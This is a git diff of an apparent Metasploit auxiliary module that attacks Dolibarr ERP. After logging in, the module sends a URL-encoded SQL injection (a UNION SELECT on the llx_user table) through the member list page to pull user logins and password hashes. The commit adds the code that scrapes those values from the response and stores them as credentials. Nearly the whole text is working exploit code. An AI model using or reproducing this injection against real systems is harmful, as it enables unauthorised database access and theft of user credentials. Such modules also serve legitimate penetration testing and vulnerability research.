storing credentials
parent
7915c4ac6c
commit
85c4abac99
|
@ -50,7 +50,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
login_uri = target_uri.path << '/index.php' unless target_uri.path.include?('index.php')
|
||||
cookies = response.get_cookies
|
||||
print_good(cookies)
|
||||
print_status("Logging in...")
|
||||
|
||||
login_res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
|
@ -67,24 +67,34 @@ class MetasploitModule < Msf::Auxiliary
|
|||
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
|
||||
end
|
||||
|
||||
print_good("Logged in!")
|
||||
print_good("Successfully logged into Dolibarr")
|
||||
return cookies
|
||||
end
|
||||
|
||||
def get_info(cookies)
|
||||
inject_uri = target_uri.path << "/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%6c%6f%67%69%6e%2c%70%61%73%73%5f%63%72%79%70%74%65%64%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%20%66%72%6f%6d%20%6c%6c%78%5f%75%73%65%72%20%23"
|
||||
print_good(normalize_uri(inject_uri))
|
||||
inject_res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(inject_uri),
|
||||
'cookie' => cookies
|
||||
)
|
||||
|
||||
print_good(inject_res.body)
|
||||
unless inject_res && inject_res.body.include?('id="searchFormList"')
|
||||
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
|
||||
end
|
||||
|
||||
print_good("Accessed credentials")
|
||||
format_results(inject_res.body)
|
||||
end
|
||||
|
||||
def format_results
|
||||
def format_results(output)
|
||||
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
|
||||
|
||||
unless credentials
|
||||
fail_with(Failure::NotFound, "No credentials found")
|
||||
end
|
||||
|
||||
credentials.each { |i, j| store_valid_credential(user: j, private: i) }
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
Loading…
Reference in New Issue